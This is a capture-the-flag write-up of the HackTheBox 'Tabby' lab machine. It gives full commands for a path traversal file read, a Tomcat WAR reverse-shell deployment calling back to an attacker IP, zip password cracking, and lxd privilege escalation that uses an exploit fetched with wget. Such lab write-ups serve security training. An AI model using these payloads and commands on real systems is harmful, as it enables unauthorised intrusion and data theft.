Tabby is a retired vulnerable Linux machine available from HackTheBox. The machine makers are egre55, thank you. It has an Easy difficulty with a rating of 4.8 out of 10. This is a nice box. I enjoy it and learn something new.
Kali Linux is used to carry out the enumeration, exploitation and privilege escalation.
Exploitation Summary (tap to reveal)
Initial Exploitation
- Vulnerability: Credentials exposure via Local File Inclusion (LFI). Then Remote Code Execution through Tomcat
- Explanation: Website is vulnerable to LFI leading to Tomcat credentials exposure. Then by taking advantage of Tomcat manager-script role, payload can be uploaded & deployed and thus allowing remote code execution
Lateral Movement – from Tomcat
- Vulnerability: Weak password and password reuse
- Explanation: Weak password is used to protect a backup zip file that can be cracked easily using dictionary attack. Same password is used for system login gaining access to user ash
Privilege Escalation
- Vulnerability: Abuse of lxd group privilege
- Explanation: lxd group privilege allows user to start a new container with root access that mirror the exact file system of the machine. Thus allowing access to all files in the machine. But this method does not actually grant root access to the machine, only within the container.
Enumeration
nmap -p- -A -T4 10.10.10.194
TCP 22: OpenSSH 8.2p1TCP 80: Apache httpd 2.4.41TCP 8080: Apache Tomcat
Initial Exploitation
There are only 3 ports open: SSH, HTTP Website and Tomcat at port 8080. SSH is using OpenSSH 8.2p1 which is a relative new version. It’s unlikely to be the attack vector.
A quick check on SSH also shows that SSH service only allows public key authentication. So we can’t even login using password unless SSH authorized_keys is setup for a user and we are able to find user’s private key. So let’s move on and check out the website:
Most links are pointing to the same page. But there’s webpage about a recent data breach at http://megahosting.htb/news.php?file=statement. Adding megahosting.htb to /etc/hosts or changing it to 10.10.10.194 will get us to the page:
Apparently, the webpage is loading the page information from a file with a parameter value statement. This could be an attack vector for Local File Inclusion. Before attempting the parameter tempering, I did couple directory scans using gobuster:
gobuster dir -u http://10.10.10.194:80/ -w /usr/share/seclists/Discovery/Web-Content/common.txt -e -k -l -s "200,204,301,302,307,401" -x "txt,html,php"
Found /files folder. Looks like a folder that would contain some juicy files:
gobuster dir -u http://10.10.10.194:80/files/ -w /usr/share/wordlists/dirb/big.txt -e -k -l -s "200,204,301,302,307,401,403" -x "txt,html,php"
Found a folder /archive and a file statement in /files folder. Further scan on /files/archive did not yield any additional information. Let’s check out the statement file:
The file stores the data breach statement. Apparently, this is the file loaded by the news.php file.
Assuming the website is using default location of /var/www/html, a quick parameter tempering on http://megahosting.htb/news.php?file=statement did expose the LFI vulnerability and allow us to access /etc/passwd file
http://10.10.10.194/news.php?file=../../../../etc/passwd
This reveals couple users of interests: tomcat & ash. What other information we can obtain through this vulnerability? Let’s checkout the Tomcat website first:
The Tomcat webpage tells us some great information, including the installation locations and users information defined at /etc/tomcat9/tomcat-users.xml. Since further access to Tomcat manager and host-manager webapp require credentials, it would be great if we can obtain Tomcat users information. Let’s try retrieve it using LFI:
http://10.10.10.194/news.php?file=../../../../etc/tomcat9/tomcat-users.xml
Unfortunately, no information is retrieved. Looks like that’s not the where tomcat-users.xml is located. I then switch to Google trying to find file list of Tomcat 9 installation. There are several different ones but with some trial and error on different lists, I am able to identify the right list to locate where tomcat-users.xml is:
https://packages.debian.org/sid/all/tomcat9/filelist
I am able to retrieve users information at
view-source:http://megahosting.htb/news.php?file=../../../../usr/share/tomcat9/etc/tomcat-users.xml
Awesome! We find credentials tomcat:$3cureP4s5w0rd123! with roles admin-gui and manager-script. With admin-gui role, we can access host-manager webapp but not manager webapp.
Unfortunately the user does not have access to manager webapp because that’s where you can upload java war file to perform remote code execution. Anyhow, let’s check out the credentials:
Wonderful, we gain access to the host manager webapp. After spending time browsing around the webapp, it doesn’t seem to have a way to exploit. I then remember the user has another role manager-script. Googling it quickly points me to a possible exploit using this role:
Reading through the article shows that manager-script role grants user ability to access text interface and that allows us to upload war file to Tomcat and then we can perform remote code execution:
Step 1: create a payload using nsfvenom
nsfvenom -p java/shell_reverse_tcp lhost=10.10.14.35 lport=4000 -f war -o pwn.war
Step 2: start netcat listening to port 4000
nc -nvlp 4000
Step 3: access Tomcat text interface to upload our payload
curl -v -u 'tomcat:$3cureP4s5w0rd123!' --upload-file pwn.war "http://10.10.10.194:8080/manager/text/deploy?path=/hack&update=true"
Step 4: navigate to /hack war file
curl http://10.10.10.194:8080/hack
Beautiful, we get in as user tomcat.
Lateral Movement
Quick check at /home directory shows only user ash has a folder there. And we don’t have access to ash’s folder. So next step is to try gaining access as user ash to obtain the user flag.
I then do some standard enumeration and quickly land on a file owned by ash that seems interesting:
I download the file available at http://10.10.10.194/files/16162020_backup.zip and try to unzip it for some juicy files. However, files inside the zip file are password protected and the file listing doesn’t show any files that store any interesting information.
So I turn to password cracking trying to find the password of the zip file:
Step 1: extract hash from the zip file
zip2john 16162020_backup.zip > hash
Step 2: crack the password using John the Ripper
john hash --wordlist=/usr/share/wordlists/rockyou.txt
Awesome, password admin@it found. Let’s try to use it to login as ash:
Bingo! We login successfully as ash and retrieved the user flag.
Privilege Escalation
I like to perform manual enumeration as much as possible. While it takes more time, it’s good practice for me to keep my skills fresh. Unfortunately, this time doesn’t land me on anything interesting. So I turn to linenum.sh to see if I miss anything. Sure I did:
User ash is member of group lxd and looks like I should check it out. This is not a normal group we usually see. Should have spotted it.
searchsploit lxd
Sure enough there is an exploit to take advantage of lxd group privilege.
In addition to this available exploit, you can find many articles on Google talking about this. LXD is Linux Containers. User with lxd group privilege can create and start Linux containers. Exploiting this vulnerability would allow full access to all files in the machine.
Please note that this exploit, however, does not grant full root access to the machine.
Step 1: create alpine container image
git clone https://github.com/saghul/lxd-alpine-builder.gitcd lxd-alpine-builder/./build-alpine
Step 2: upload 46978.sh exploit script and alpine image to target machine
I experienced syntax error when executing the exploit script at the target machine. It’s most likely some format error between Windows and Linux. A quick conversion using dos2unix 46978.sh will fix the problem. Then starts a webserver to host the files for upload:
dos2unix 46978.shpython -m SimpleHTTPServer 80
at target machine:
mkdir .hackcd .hackwget http://10.10.14.35/alpine-v3.12-x86_64-20200913_0925.tar.gzwget http://10.10.14.35/46978.sh
Step 3: execute the exploit
Ensure the exploit is done under /home/ash folder. I initially tried the exploit at /tmp folder but kept getting a weird File not found error of the alpine image but the image file was definitely there. I moved to /var/tmp with the same error but finally am able to pull off the exploit after moving to /home/ash folder.
I have no clue why this happened. Searching Goolge didn’t help me with an answer. So if you know the reason of this strange behavior, please comment and educate me. Thanks
bash ./46978.sh -f alpine-v3.12-x86_64-20200913_0925.tar.gz
Awesome! The exploit runs successfully and allows me to access all files at mount /mnt/root. Hence the root flag is obtained.
Unfortunately, this is one of the rare boxes I am not able to obtain complete root access. If you know of a way of obtaining full root access, other than cracking /etc/shadow file, please comment and point me a direction!
Happy Hacking!
